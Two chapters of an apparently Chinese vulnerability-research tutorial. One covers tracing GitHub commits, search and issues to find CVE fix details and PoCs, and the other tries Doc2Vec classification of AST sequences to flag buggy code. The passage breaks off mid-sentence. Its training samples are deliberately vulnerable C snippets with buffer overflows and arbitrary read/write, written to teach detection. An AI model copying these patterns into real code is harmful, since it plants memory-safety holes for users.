[
  {
    "path": "1.Github.md",
    "content": "\n\n\n## 必备工具\n\n  Git ,Github \n\n\n## 从Github 开始\n\n  Github 是代码分享平台,使用Github 能够找到很多开源项目,关于Github 不多做介绍了,下面分享些使用Github 读代码的操作\n\n\n## Github commits\n\n  Github commits 的功能是用来记录每一次Git 提交代码的信息,里面包含了修改代码的原因,还有修改了哪些代码.Github commits 的功能在这里\n\n![](pic1/github_commit.png)\n\n  点击之后,可以看到很多Git 提交代码的记录\n\n![](pic1/github_commit_info.png)\n\n  随意点开一条记录,可以看到很多关于这条Commit 的信息\n\n![](pic1/github_commit_record.png)\n\n  使用Github commits 有一个操作就是:**一般来说,部分安全告警或者存在特别严重漏洞的开源项目向外发出通知的时候,往往只是提醒漏洞是影响了哪些版本,什么时候修复,要更新到最新的版本.关于漏洞的详情是很少提及的,甚至PoC 也没有.那么这个时候要怎么去研究漏洞呢?答案是追踪Commit 提交记录**\n\n  以CVE-2018-1305 为例子,关于绿盟的对外的通告如下(其他通告都大同小异):\n\n![](pic1/nsfocus_record.png)\n\n  里面只有一个邮件通信记录,我们进去看看有什么(https://lists.apache.org/thread.html/d3354bb0a4eda4acc0a66f3eb24a213fdb75d12c7d16060b23e65781@%3Cannounce.tomcat.apache.org%3E)\n\n![](pic1/CVE-2018-1305_email.png)\n\n  邮件最低下面有个References ,翻译为中文是引用的意思,在这里多插一句话:文章里面的引用一般是拓展阅读或者理论/数据的来源依据,如果读者需要进一步去深入这个文章,引用来源就是最好的入手点**.我们挑其中一个引用的URL 来看看(http://tomcat.apache.org/security-9.html),下面是我挑出的重点信息\n\n![](pic1/CVE-2018-1305_info.png)\n\n  圆圈里的意思是漏洞的描述,方框里标明的是其他有用的信息:影响的版本(Affects: 9.0.0.M1 to 9.0.4),最新修复的版本号(Fixed in Apache Tomcat 9.0.5),公开漏洞的时间(11 February 2018),Commit ID (This was fixed in revisions 1823310 and 1824323.).\n\n  找到Commit ID ,点进去看看,这个时候就跳转到了Apache 的SVN Commit 记录里边了(http://svn.apache.org/viewvc?view=revision&revision=1823310).[PS:SVN 和Git 都是版本管理工具]\n\n![](pic1/CVE-2018-1305_svn_commit.png)\n\n  我们可以看到这次修复漏洞修改了哪些代码.但是点进去代码里看,也没有diff ,所以现在回到Git commits 里继续找修复代码的Commit .那么要怎么去找Commit 呢?这个时候,漏洞修复时间就派上用场了.\n\n  SVN 的Commit 里面有一个Commit 时间(如果没有找到对应的Commit ,就在漏洞报告时间(2018/2/1)到漏洞公开时间(2018/2/23)搜索Commit )\n\n![](pic1/CVE-2018-1305_fix_time.png)\n\n  然后去找Commit ,发现没有找到\n\n![](pic1/CVE-2018-1305_master_commit.png)\n\n  这就很迷了,为啥会找不到呢.读者们回到主页,点击这里\n\n![](pic1/github_version.png)\n\n  这个时候,漏洞影响版本号就派上用场了,嘿嘿嘿\n\n![](pic1/github_version_select.png)\n\n  ...这里找了个遍都没有找到这个版本,太神奇了,咱们再细细看看漏洞信息哈\n\n![](pic1/tips_tomcat.png)\n\n  ??? 难道tomcat 和apache 是不同的?那我去搜索一下tomcat [PS:Github 搜索有很多很有趣的使用套路,待会和大家分享一个学习漏洞原理的骚操作]\n\n![](pic1/github_search.png)\n\n![](pic1/github_tomcat.png)\n\n  看来找错了开源项目,那就先看看版本分支吧\n\n![](pic1/tomcat_trunk.png)\n\n  有些开源项目是有设置不同的版本分支管理的,没有也没关系,那就来找Commit 吧\n\n![](pic1/CVE-2018-1305_git_commit.png)\n\n  现在已经定位到了2018/2/6 号的Commit 信息,这里有几个Commit ,一个一个慢慢看吧,搜素的过程就不多说了,最后定位到这两个Commit\n\n![](pic1/CVE-2018-1305_git_commit_1.png)\n\n  修复代码:https://github.com/apache/tomcat/commit/3e54b2a6314eda11617ff7a7b899c251e222b1a1\n  测试用例:https://github.com/apache/tomcat/commit/af0c19ffdbe525ad690da4fd7e988c7788d00141\n\n  在Git 的Commit 里还能看到Diff ,很容易就知道到底哪些代码被修改过(包括代码注释)\n\n![](pic1/CVE-2018-1305_git_diff.png)\n\n  在测试用例里面就可以直接找到PoC 了\n\n![](pic1/CVE-2018-1305_test_case.png)\n\n\n## Github Search\n\n  前面已经说到了如何使用Commit 了,相信读者也已经去秀了一波操作,找到更多关于漏洞修复的细节,上一节有提到,关于Github Search 有一个学习代码的骚操作,当年我就是用这一招弄明白了JavaScript 这种脚本解析引擎的漏洞应该要怎么挖,是不是很想知道到底是啥套路.\n\n  在搜索框里输入`CVE` ,记住,要想挖哪个开源项目就去那个开源项目的Github 上搜素CVE 三个字\n\n![](pic1/github_search_cve.png)\n\n![](pic1/github_search_cve_result.png)\n\n  结果如上,这个是Code 搜素,搜素出来的结果比较少,咱们切换到Commits 来看看\n\n![](pic1/github_search_cve_commit_result.png)\n\n  是不是发现了新世界 :)\n\n![](pic1/github_search_1.png)\n\n![](pic1/github_search_2.png)\n\n![](pic1/github_search_3.png)\n\n  洞海无涯苦作舟,用这种方法可以从issus 和Commit 里面学到很多,但是要看懂整个Commit 不只是要看Diff ,还要下载代码到本地一步一步分析漏洞成因\n\n## Github Issus\n\n  Issus 可以看到很多漏洞挖掘的操作,特别是AFL 和libFuzzer 的怎么样使用的,同时在这些提交漏洞的Issus 里还能收集到很多样本,可以直接拿下来到其他的开源项目里继续使用,举个例子,ImageMagick 的Issus :https://github.com/ImageMagick/ImageMagick/issues\n\n![](pic1/github_issus.png)\n\n![](pic1/github_issus_info.png)\n\n  这里告诉大家样本在哪儿可以下载,重点是触发的命令是什么,有了这个触发命令之后,我们也可以去照猫画虎拿到AFL 里去跑Fuzzing 啦,美滋滋\n\n\n## 在Github 上读代码\n\n  一般我都是先在Github 上阅读代码,然后再下载代码到本地Source Insight 继续读.我们有两种方式在Github 上开始阅读\n\n\n### 根据文件夹来阅读\n\n  简单地来说:**关注文件/文件夹的名字**\n  \n![](pic1/dir_php.png)\n\n![](pic1/dir_antminer.png)\n\n![](pic1/file_redis.png)\n\n  多翻一下目录和文件,总会遇到你感兴趣的一个地方来读\n\n\n### 根据敏感函数来阅读\n\n  善用Github 的搜索功能,它能够帮你搜索代码或者其他信息\n\n![](pic1/github_search_function.png)\n\n![](pic1/github_search_function1.png)\n\n  \n  找到了一个感兴趣的地方开始阅读代码之后,Github 的搜素功能可以帮助你向上回溯代码\n\n![](pic1/save_command.png)\n\n![](pic1/save_command_find.png)\n\n![](pic1/save_command_find_in_browser.png)\n\n  在网页和普通编辑器阅读源码记得要多使用`Ctrl + F` ,它能够帮你快速定位当前代码文件的函数定位\n\n![](pic1/ctrl_f_find.png)\n\n\n## Git Clone\n\n  这个就不多介绍了,下载代码到本地\n\n\n## Example\n\n  去年挖到一个蚂蚁矿机的远程代码执行漏洞,发现这个问题是直接在Github 上读代码的找到的,附上源码分析.\n\n![](pic1/source.png)\n\n"
  },
  {
    "path": "11.AI 算法挖洞的一些尝试.md",
    "content": "\n\n## 漏洞特征码筛选\n\n\n\n#### 漏洞代码特征对比\n\n\n\nNLP 算法普遍运用在恶意代码识别分类,最核心的一点还是通过黑白代码样本进行分类(参考https://xz.aliyun.com/t/5666 ,https://xz.aliyun.com/t/5848 ).NLP 算法对数据分类来说是很友好的,因为它能够通过给定的分类样本和特征来对数据进行识别,但是要使用这些算法应用到漏洞挖掘,除了分类识别还需要一步就是要对漏洞进行校验(符号执行在从入口点开始递归路径时,因为条件分支和求解速度的问题往往会导致性能非常慢,那么能不能通过事先筛选一些可以的特征然后来探索可执行的路径再检验漏洞呢?).接下来分别探讨这两个步骤的一些细节.\n\n\n\n#### BasicBlock 剪枝\n\n\n\n我们用第五章里的一个示例来研究,因为Condition 条件判断的引入,代码结构其实是二维的.\n\n\n\n![](pic11/pic20.png)\n\n\n\n如果需要使用NLP 的方式来对代码进行识别,那么就需要把二维的代码结构转化为一维,这样代码序列看起来才会和文章的内容一样(转化成为一段英文语句),所以就需要对函数内的BasicBlock 进行剪枝,修剪之后的结构如下.\n\n\n\n![](pic11/pic21.png)\n\n\n\n代码实现不难,主要是通过if /switch 等语句进行处理,for /while 语句可以忽略不处理.\n\n\n\n```python\ndef basic_block_preprocess(code_ast_subnode) :  # BasicBlock 剪枝\n    flatten_basic_block_list = []\n    root_basic_block = []\n\n    for root_ast_node_index in code_ast_subnode :\n        ast_node_type = get_type(root_ast_node_index)  #  获取AST 节点类型\n\n        if 'CIfStatement' == ast_node_type :  #  目前只筛选if 语句\n            if_ast_node = root_ast_node_index.body  #  获取if AST 的内容\n            if_ast_node_type = get_type(if_ast_node)\n\n            if 'CBody' == if_ast_node_type :  #  对应的是if (???) {xxx} 的写法\n                sub_basic_block_list = basic_block_preprocess(if_ast_node.contentlist)  #  递归遍历if 语句\n\n                for sub_basic_block_index in sub_basic_block_list :\n                    flatten_basic_block_list.append( root_basic_block + sub_basic_block_index)  #  合并剪枝之后的代码序列\n            else :  #  对应的是if (???) xxx; 的写法\n                if_basic_block_ast_node = root_ast_node_index.body  #  if 里面语句代码块的内容\n                if_basic_block_ast_node_type = get_type(if_basic_block_ast_node)  #  获取这个语句的类型\n\n                flatten_basic_block_list.append(root_basic_block + [ (if_basic_block_ast_node_type,if_basic_block_ast_node) ])  #  合并代码序列\n\n            if root_ast_node_index.elsePart :  #  如果这个if 语句还存在else if 或else ..\n                if_else_ast_node_type = get_type(root_ast_node_index.elsePart.body)\n\n                if 'CBody' == if_else_ast_node_type :\n                    if_else_ast_node = root_ast_node_index.elsePart.body\n                else :\n                    if_else_ast_node = root_ast_node_index.elsePart.body.body\n\n                sub_basic_block_list = basic_block_preprocess(if_else_ast_node.contentlist)  #  继续递归它的body 代码\n\n                for sub_basic_block_index in sub_basic_block_list :\n                    flatten_basic_block_list.append( root_basic_block + sub_basic_block_index)  #  合并剪枝之后的代码序列\n\n            continue\n                    \n        root_basic_block.append((ast_node_type,root_ast_node_index))  #  这是当前层的代码序列\n\n    flatten_basic_block_list.append(root_basic_block)\n\n    return flatten_basic_block_list\n```\n\n\n\n#### AST 特征序列化\n\n\n\nAST 结构树并不合适直接使用NLP 算法来对它进行识别,我们需要对它进行预处理,变成合适由NLP 算法处理的格式.\n\n\n\n```python\ndef reduce_ast_node_list(code_ast_list) :  #  AST 预处理\n    def get_var_type(var_type) :  #  获取变量类型\n        var_type_string = ''\n\n        for var_type_index in var_type :\n            if 'unsigned' == var_type_index :  #  unsigned int ,unsigned char .drop the keyword unsigned\n                continue\n\n            var_type_string += var_type_index + '.'\n\n        if var_type_string :\n            var_type_string = var_type_string[ : -1 ]\n\n        return var_type_string\n\n    result_list = []\n\n    for code_ast_index in code_ast_list :\n        code_ast_node_type = code_ast_index[0]  #  AST 节点类型\n        code_ast_node_data = code_ast_index[1]  #  AST 节点数据\n\n        if 'CVarDecl' == code_ast_node_type :  #  变量声明\n            is_type = get_type(code_ast_node_data.type)  #  变量类型\n\n            if 'CArrayType' == is_type :  #  数组\n                var_type = get_var_type(code_ast_node_data.type.arrayOf.builtinType)\n\n                result_list.append('variable_define_array:%s' % (var_type))\n            elif 'CBuiltinType' == is_type :  #  普通变量\n                var_type = get_var_type(code_ast_node_data.type.builtinType)\n\n                result_list.append('variable_define:%s' % (var_type))\n            elif 'CPointerType' == is_type :  #  指针变量\n                var_type = get_var_type(code_ast_node_data.type.pointerOf.builtinType)\n\n                result_list.append('variable_define_point:%s' % (var_type))\n                \n        elif 'CStatement' == code_ast_node_type :  #  赋值\n            assigment_data = code_ast_node_data._leftexpr\n            sub_ast_node_type = get_type(assigment_data)\n\n            if 'CFuncCall' == sub_ast_node_type :  #  函数调用\n                function_name = assigment_data.base.name\n\n                result_list.append('function_call:%s' % (function_name))\n            elif 'CArrayIndexRef' == sub_ast_node_type :  #  数组引用\n                access_type = assigment_data.base.type\n\n                if 'CArrayType' == access_type :      #  buffer[10] = ???;\n                    result_list.append('assigment_array_index')\n                elif 'CPointerType' == access_type :  # *buffer[10] = ???;\n                    result_list.append('assigment_point_index')\n            elif 'CStatement' == sub_ast_node_type :  #  变量数据值\n                assigment_data = assigment_data._rightexpr._leftexpr\n                assigment_type = assigment_data.type\n\n                if 'CArrayType' == assigment_type :      #  buffer[10] = ???;\n                    result_list.append('assigment_array_index')\n                elif 'CPointerType' == assigment_type :  # *buffer[10] = ???;\n                    result_list.append('assigment_point_index')\n                #.pointerOf.builtinType\n                \n        else :\n            result_list.append(code_ast_node_type)\n\n    return result_list\n```\n\n\n\n#### Doc2Vec 算法与特征对比\n\n\n\nDoc2Vec 算法用来对一段文本进行识别,判断这段文本属于哪一类型.我们假设了一系列的黑白样本:\n\n\n\n```python\ncode_sample_memcpy_check_1 = '''\nvoid main() {\n    char* buffer = (char*)malloc(20);\n    char* command_buffer = (char*)malloc(10);\n    \n    memcpy(&command_buffer,&buffer,20);\n}\n'''\ncode_sample_memcpy_check_2 = '''\nvoid main() {\n    char buffer[20] = {0};\n    char command_buffer[10] = {0};\n    \n    memcpy(&command_buffer,&buffer,20);\n}\n'''\ncode_sample_buffer_check_1 = '''\nvoid main() {\n    char buffer[10] = {0};\n\n    buffer[10] = '\\0';\n}\n'''\ncode_sample_buffer_check_2 = '''\nvoid main() {\n    char* buffer = (char*)malloc(10);\n\n    buffer[20] = '\\0';\n}\n'''\ncode_sample_arbitrarily_write_check_1 = '''\nvoid main(char* point) {\n    char* buffer = point;\n\n    *buffer = 0x1;\n}\n'''\ncode_sample_arbitrarily_write_check_2 = '''\nvoid main(char* offset) {\n    char buffer[10] = {0};\n\n    *(buffer + offset) = 0x1;\n}\n'''\ncode_sample_arbitrarily_read_check_1 = '''\nvoid main(char* point) {\n    char* buffer = point;\n    char  data = *buffer;\n}\n'''\ncode_sample_arbitrarily_read_check_2 = '''\nvoid main(char* offset) {\n    char buffer[10] = {0};\n    char  data = *(buffer + offset);\n}\n'''\n\ncode_sample_white_call_1 = '''\nvoid main() {\n    printf(\"123123\");\n}\n'''\ncode_sample_white_return_1 = '''\nint main() {\n    int result = 1;\n\n    return result;\n}\n'''\ncode_sample_white_add_1 = '''\nvoid main() {\n    int a = 1;\n    int b = 2;\n    int result = 0;\n\n    result = a + b;\n}\n'''\n\ntranning_sample_code = {\n    'memcpy' : [\n        # ...\n    ] ,\n    'overflow' : [ \n        # ...\n    ] ,\n    'null_access' : [ \n        # ...\n    ] ,\n    'arbitrarily_write' : [ \n        # ...\n    ] ,\n    'arbitrarily_read' : [ \n        # ...\n    ] ,\n    'white_code' : [ \n        # ...\n    ] ,\n}\n```\n\n\n\n经过之前的预处理之后,返回的代码序列如下(演示的Demo 对AST 处理比较粗糙,是导致后面分类出现误差的主要原因):\n\n\n\n```text\n[['variable_define_point:char', 'variable_define_point:char', 'function_call:memcpy']]\n[['variable_define_array:char', 'variable_define_array:char', 'function_call:memcpy']]\n[['variable_define_point:char', 'variable_define_array:char', 'function_call:memcpy']]\n[['variable_define_array:char', 'variable_define_point:char', 'function_call:memcpy']]\n[['variable_define_point:char', 'variable_define_point:char', 'function_call:memset', 'function_call:memcpy']]\n[['variable_define_array:char', 'variable_define_array:char', 'function_call:memset', 'function_call:memcpy']]\n[['variable_define_point:char', 'variable_define_array:char', 'function_call:memset', 'function_call:memcpy']]\n[['variable_define_array:char', 'variable_define_point:char', 'function_call:memset', 'function_call:memcpy']]\n[['variable_define_array:char']]\n[['variable_define_point:char']]\n[['variable_define_point:char']]\n[['variable_define_point:char']]\n[['variable_define_array:char']]\n[['variable_define_point:char']]\n[['variable_define_point:char', 'variable_define:char']]\n[['variable_define_array:char', 'variable_define:char']]\n[['variable_define_point:char', 'variable_define:char']]\n[['function_call:printf']]\n[['function_call:printf', 'function_call:printf', 'function_call:printf', 'function_call:printf', 'function_call:printf']]\n[['variable_define:int', 'function_call:printf']]\n[['variable_define_array:char', 'function_call:memset', 'function_call:printf']]\n[['variable_define_point:char', 'function_call:printf']]\n[['variable_define:int', 'CReturnStatement']]\n[['variable_define_point:char', 'CReturnStatement']]\n[['variable_define_array:char', 'CReturnStatement']]\n[['variable_define:int', 'variable_define:int', 'variable_define:int', 'assigment_value:int']]\n[['variable_define:int', 'variable_define:int', 'function_call:printf'], ['variable_define:int', 'variable_define:int', 'function_call:printf'], ['variable_defi\nne:int', 'variable_define:int']]\n[['variable_define:int', 'function_call:printf']]\n```\n\n\n\n接下来使用Gensim Doc2ver 对样本进行训练,代码如下:\n\n\n\n```python\nTaggededDocument = gensim.models.doc2vec.TaggedDocument\n\nmodel_tranning_sample_list = []\n\nfor tranning_sample_code_type,tranning_sample_code_data_list in tranning_sample_code.items() :\n    for tranning_sample_code_data in tranning_sample_code_data_list :\n        model_tranning_sample_list.append(TaggededDocument(tranning_sample_code_data, tags = [ tranning_sample_code_type ]))\n\nmodel = gensim.models.Doc2Vec(model_tranning_sample_list,min_count = 1,window = 3,vector_size = 200,workers = 4)\n\nmodel.train(model_tranning_sample_list, total_examples = model.corpus_count, epochs=70)\n```\n\n\n\n我们构造一些测试代码,然后使用样本进行识别:\n\n\n\n```python\ncode_test_1 = '''\nint main(const unsigned char* buffer) {\n    unsigned char buffer_l[10] = {0};\n    unsigned char buffer_length = buffer[0];\n    \n    if (2 <= buffer_length)\n        return 0;\n    \n    if (MessageType_Hello == buffer[1]) {\n        printf(\"Hello\\n\");\n    } else if (MessageType_Execute == buffer[1]) {\n        unsigned char* command_buffer = (unsigned char*)malloc(buffer_length - 1);\n        \n        memset(&command_buffer,0,buffer_length);\n        memcpy(&command_buffer,&buffer[2],buffer_length - 2);\n        \n        execute_command(command_buffer);\n    } else if (MessageType_Data == buffer[1]) {\n        decrypt_data(&buffer[2],buffer_length - 2);\n    }\n    \n    return 1;\n}\n'''\n# ... Sample code so more that we leave out it .\n\ntest_code = [ \n    make_code(test_sample_code.code_test_1) ,\n    # ....\n]\n\nfor test_code_index in test_code :\n    print ' ---- '\n\n    for test_code_flatten_index in test_code_index :\n        inferred_vector = model.infer_vector(test_code_flatten_index)\n\n        output.valid_state_output(str(test_code_flatten_index),str(model.docvecs.most_similar([inferred_vector], topn=10)))\n```\n\n\n\n训练样本再分类的效果如下:\n\n\n\n![](pic11/pic19.png)\n\n\n\n第一部分特征识别的整体难度不大,最困难的一步是要在代码序列中做好预处理,保证特征容易被算法识别而且又不能从AST 精简转化特征的过程中丢掉太多的细节,最后让Doc2Vec 来更准确地对代码序列进行识别.\n\n\n\n定位出了可以的代码序列之后,下一步就是要对漏洞进行验证,到这一步骤一定是要使用符号执行来对变量进行取值范围的构建,然后再引入漏洞判断的条件组合起来交由求解器来实现,但是这样就不够\"AI\" 了.**符号执行的步骤是不能够缺少的,如果没有符号执行,那就无法知道某个特定变量的变化函数与取值范围**.我们常说深度学习的算法都是由样本来拟合出一条回归函数,让回归函数和算法来对数据进行分类计算,那么能不能拟合出这么样的一条曲线呢?漏洞判断的条件能不能推断出一条回归函数呢?下面就绕过符号执行技术直接来探讨这个问题.\n\n\n\n----\n\n\n\n## 漏洞验证阶段\n\n\n\n#### Example 1 -- 单变量与常数值判断\n\n\n\n```c\nint calcu(int a) {\n    int number = a * a;  // pow(a,2);\n    \n    if (number > 100)\n        return 1;\n    \n    return 0;\n}\n```\n\n\n\ncalcu() 函数输入输出关系\n\n\n\n![pic11/pic1.png](pic11/pic1.png)\n\n\n\n我们知道,calcu() 函数是由if 判断来控制不同的return 返回的,那么calcu() 函数的输出因果关系如下(注意,C_100 特指if 判断表达式的右侧常数值100 ;Symblo(x) 则是指if 表达式的左则number 变量的符号表达式number = a*a):\n\n\n\n![](pic11/pic2.png)\n\n\n\n以(10,100)为交点,左侧黄色虚线勾画的区域是Zero (此时C_100 > Symblo(x)),右侧灰色区域是One (此时Symblo(x) > C_100).Zero 代表函数返回0 ,One 代表函数返回1 .\n\n\n\n![](pic11/pic3.png)\n\n\n\n所以,函数返回值是0/1 取决于函数Symblo(x) 和直线C_100 的关系.我们回过头来详细分析上述例子if 判断.\n\n\n\n```c\nif (number > 100)\n    return 1;\n    \nreturn 0;\n//  number = Symblo(x)  ;  C_100 = 100\n```\n\n\n\n那么可知,**当if 要执行到return 1 时,必须要number > 100,就是Symblo(x) > C_100;反之则是number <= 100,也就是Symblo(x) <= C_100)**.基于这个原理,总结如下:\n\n\n\n```text\nCondition_True  => Symblo(x) Condition_Flag C_?  => Symblo(x) - C_? Condition_Flag 0\nCondition_False => Symblo(x) !Condition_Flag C_? => Symblo(x) - C_? Condition_Flag 0\n\nSymblo(x) 指的是number ,Condition_Flag 是指逻辑运算符,C_? 指常数值\n\n例子:\n\n1.if (number == 10086)\nCondition_True  => Symblo(number) == 10086 => Symblo(number) - 10086 = 0\nCondition_False => Symblo(number) != 10086 => Symblo(number) - 10086 != 0\n\n2.if (number <= 72)\nCondition_True  => Symblo(number) <= 72 => Symblo(number) - 72 <= 0\nCondition_False => Symblo(number) > 72  => Symblo(number) - 72 > 0\n\n```\n\n\n\n#### Example 2 -- 单变量与单变量判断\n\n\n\n```c\nint valid_key(int number) {\n    int a = cos(number);\n    int b = sin(number);\n    \n    if (a / b > number)\n        return 1;\n    \n    return 1;\n}\n```\n\n\n\ncalcu() 函数输入输出关系\n\n\n\n![](pic11\\pic4.png)\n\n\n\ncalcu() 函数的输出因果关系\n\n\n\n![](pic11/pic5.png)\n\n\n\n在if 判断这里,我们可知Symblo(a_b) = cos(x)/sin(x) ,Symblo(number) = x .那么这个坐标系的横坐标就是x ,纵坐标就是y (**y = Symblo(x) ,意思是变量经过一系列的运算然后得出的结果,因为是对单个变量进行操作,所以就很容易知道这个变量经过很多次操作之后的具体函数.比如当前示例的calcu() ,有一个传递进来的参数number ,然后我们遍历到分支判断if 时,发现当前if 表达式的左值和右值都是对calcu() 函数的参数number 的值进行引用对比,那么通过符号执行可以推测出if 表达式左值:Symblo(a_b) = a / b = cos(number) / sin(number),右值:Symblo(number) = number**).黄色虚线区域代表Condition True ,灰色代表Condition False .使用上一个示例的总结,我们可以知道:\n\n\n\n```text\nConditon_True  => Symblo(a_b) >  Symblo(number) => cos(number) / sin(number) >  number => cot(number) >  number => cot(number) - number >  0\nConditon_False => Symblo(a_b) <= Symblo(number) => cos(number) / sin(number) <= number => cot(number) <= number => cot(number) - number <= 0\n```\n\n\n\n事实上,我们所列出的Condition_True 和Condition_False ,实际上指的是一个取值范围(Value_Range),**当变量值出现在某个区域时,我们就认为它属于True / False** .所以,也可以说是Condition_True_Range ,Condition_False_Range .\n\n\n\n#### Example 3 -- 单变量与常数值多次判断\n\n\n\n```c\nint calcu(int number) {\n    int result = pow(number,2);\n    \n    if (result > 100)\n        return 2;\n    else if (result > 25)\n        return 1;\n    \n    return 0;\n}\n```\n\n\n\ncalcu() 函数输入输出关系\n\n\n\n![](pic11/pic6.png)\n\n\n\ncalcu() 函数的输出因果关系\n\n\n\n![](pic11/pic7.png)\n\n\n\n我们分析上述两个if 判断.判断1: result > 100 ,满足符合条件的区域为Symblo(number) > 100 ,对应上图紫色区域;判断2: result > 25 && result <=100 (注意,**result <= 100 是隐含条件,在这个else if 前面还有一个先决条件,所以不能忽略这个result <=100 这个表达式**),满足符合条件的区域为**Symblo(number) <= 100 ∩ Symblo(number) > 25  <=>  x^2 <= 100 ∩ x^2 > 25 **,对应上图黄色区域;最后的return 0 对应上述的两个先决条件:1.result<=100 ;2.result<=25 ,合并起来就是**result <= 100 && result <= 25  <=>  Symblo(number) <= 25 && Symblo(number) <= 100  <=>  Symblo(number) <= 25 **,对应上图橙色区域.总结如下:\n\n\n\n```text\nCondition_Express_1 && Condition_Express_2 => Condition_True_Range_1 ∩ Condition_True_Range_2 (&& 是逻辑And )\nCondition_Express_1 || Condition_Express_2 => Condition_True_Range_1 ∪ Condition_True_Range_2 (|| 是逻辑Or )\n```\n\n\n\n**变量经过多次赋值和运算,那么它的值一定能够可以通过一条函数表达式来计算的(参考符号执行原理,通过变量间的赋值与计算关系推导出结果).那么if 判断的实质就是要限制变量的取值范围,所以Symblo(x) 是变量结果的计算函数,Condition_Range 则是变量的取值范围**\n\n\n\n#### Example 4 -- 多变量引用与单次判断\n\n\n\n```c\nint calcu(int a,int b) {\n    if (a > b)\n    \treturn 1;\n    \n    return 0;\n}\n```\n\n\n\ncalcu() 函数的输出因果关系\n\n\n\n![](pic11/pic8.png)\n\n\n\n首先,calcu() 函数引入了两个变量,在if 判断这里引用两个变量a 和b ,因为a 与b 的值关系最终决定了y (返回值)的值,所以这就需要构造三维坐标系.于是Condition_True_Range <=> Symblo(a) > Symblo(b) .当a = b 相等时,我们可以在a b 的二维平面上勾画出一条直线,f(b) =  b .那么当a > b 时,也就是在One 区域;当b < a 时,那就在Zero 区域.\n\n\n\n#### Example 5 -- 数组引用\n\n\n\n```c\nvoid access(int index) {\n    char buffer[10] = {0};\n    \n    buffer[index] = 'A';\n}\n```\n\n\n\n现在我们要研究的是index 与buffer 变量的关系.我们在写白盒审计工具时,如果要对代码`buffer[index] = 'A';` 漏洞校验时,如果index >= sizeof(buffer) 那就认为这行代码存在越界漏洞,我们把index 变量的关系和buffer 这么来处理.先来看看index 变量与buffer 索引之间的关系函数.\n\n\n\n![](pic11/pic11.png)\n\n\n\n可以知道,这是一个`buffer_index = Symblo(index) = index`,横坐标是index 变量,纵坐标是buffer_index .再看看看其它例子:\n\n\n\n```c\nvoid access(int index) {\n    char buffer[10] = {0};\n    \n    buffer[index + 2] = 'A';\n}\n```\n\n\n\n此时index 变量与buffer 索引之间的关系函数为`buffer_index = Symblo(index) = index + 2`.\n\n\n\n![](pic11/pic12.png)\n\n\n\n```c\nvoid access(int index) {\n    char buffer[10] = {0};\n    \n    buffer[index & 8] = 'A';\n}\n```\n\n\n\n此时index 变量与buffer 索引之间的关系函数为`buffer_index = Symblo(index) = index & 8`.因为引入了逻辑运算,其实上也可以通过坐标系画出Symblo(index) 的函数曲线的,图像如下.\n\n\n\n![](pic11/pic13.png)\n\n\n\n回过头来继续深入数组访问的第一个示例程序,我们把buffer_size (由`char buffer[10]={0}` 可知buffer_size = (x = 10))也引入到坐标系中,得到下图:\n\n\n\n![](pic11/pic14.png)\n\n\n\n在此我们分为两条函数:Symblo(buffer_size) 和Symblo(index) ,两条函数相交于(10,10) .那么有:**1.Symblo(buffer_size) > Symblo(index) 意味着对这个数组的访问是正常的; 2.Symblo(buffer_size) < Symblo(index) 意味着访问这个数组是异常的(越界访问)** .所以我们就需要对**变量index 的取值范围进行限制**,示例代码修改如下:\n\n\n\n```c\nvoid access(int index) {\n    char buffer[10] = {0};\n    \n    if (index < sizeof(buffer))\n    \tbuffer[index] = 'A';\n}\n```\n\n\n\n现在我们引入了if 判断,对变量index 的取值范围进行了限制(x = 10),对应图像如下:\n\n\n\n![](pic11/pic15.png)\n\n\n\n橙色区域是合法的buffer 引用范围,红色区域是buffer 引用越界的范围.**横坐标的index 经过一系列的运算(Symblo(index)) 最后得出纵坐标buffer_index 的值;而且,对index 所做的if 校验,实际上都是对index 的范围进行限制,只有Symblo(index) 在符合index 的取值范围内能够让buffer_index 的值大于10 才能导致的越界,所以就把y = 10 表示为漏洞边界表达式,只要存在越过这一边界的值,那么就存在越界漏洞.**\n\n\n\n#### Example 6 -- 任意地址读写漏洞分析\n\n\n\n```c\nint resolve_buffer(int* recv_buffer) {\n    int offset = recv_buffer[1];\n    \n    return *(recv_buffer + offset);\n}\n```\n\n\n\n代码语句*(recv_buffer + offset) 的意思是要获取这个地址中的内容.一般来说,recv_buffer 是一个特定的内存地址(一个固定的常数值),offset 则是一个变量值(因为是来自用户输入),那么最后**读取的地址函数式与recv_buffer ,offset 对应的关系为address = Symblo(offset) <=> recv_buffer + offset <=> C_recv_buffer + offset.**对应的变化关系图如下,横坐标为offset ,纵坐标为address :\n\n\n\n![](pic11/pic16.gif)\n\n\n\n我们知道,C_recv_buffer 是一个正整数常数(0 <= C_recv_buffer <= max(int)),offset 则是一个变量,接下来对offset 的长度进行校验,代码如下:\n\n\n\n```c\nint resolve_buffer(int* recv_buffer) {\n    int offset = recv_buffer[1];\n    \n    if (offset < 20)\n    \treturn *(recv_buffer + offset);\n    \n    return 0;\n}\n```\n\n\n\n对应的关系图如下:\n\n\n\n![](pic11/pic17.png)\n\n\n\n在此我们假设C_recv_buffer 的值为25 ,offset 是变量,但是被约束offset < 20 ,那么橙色区域是合法的访问区域,红色区域则是不合法的访问区域,因为offset 是int 类型,可以取值为负数,那么久可以越过recv_buffer 的合法读取往前读取地址空间小于20 的位置.\n\n\n\n![](pic11/pic18.png)\n\n\n\n所以我们分析这个图形,漏洞的边界函数有两个,分别是C_recv_buffer_lower_bound = 25 与C_recv_buffer_upper_bound = 45 .只有**C_recv_buffer_lower_bound  <= address < C_recv_buffer_upper_bound** 时访问数组才是合法的.\n\n\n\n实际上,我们在用Symblo Executge (符号执行)和Coverage (代码覆盖率)就是为了不断探索出if 判断对于变量所设定的取值范围.对变量每增多一个if 判断,那么取值范围就会相应地减小.\n\n\n\n#### 取值范围与函数相交\n\n\n\n下面是一个函数C1 穿过一个数据集R1 的例子.\n\n\n\n![](pic11/pic9.png)\n\n\n\n我们假设R1 是某个变量的取值范围,C1 是边界函数.**使用机器学习的思想,边界函数C1 根据数据出现在边界函数的左右两则位置而确定数据的分类,我们只需要给定数据,那么就可以拟合出边界函数C1 的曲线,然后给数据进行分类**.*那么我们能不能通过对这些数据集进行分类进而确定是否存在漏洞呢?*\n\n\n\n##### 曲线拟合\n\n\n\n我们知道,对一些已经打好分类标签的数据集再传递给模型学习,那么模型就能够拟合出一条曲线C(x) ,如下图:\n\n\n\n![](pic11/pic10.png)\n\n\n\n但是,**对于某种特定的漏洞检验函数,它是唯一的**.比如说:任意地址写对应的检验函数为C(x) = x ;数组越界检验函数为C_upper(buffer) = C1 ,C_lower(buffer) = C2 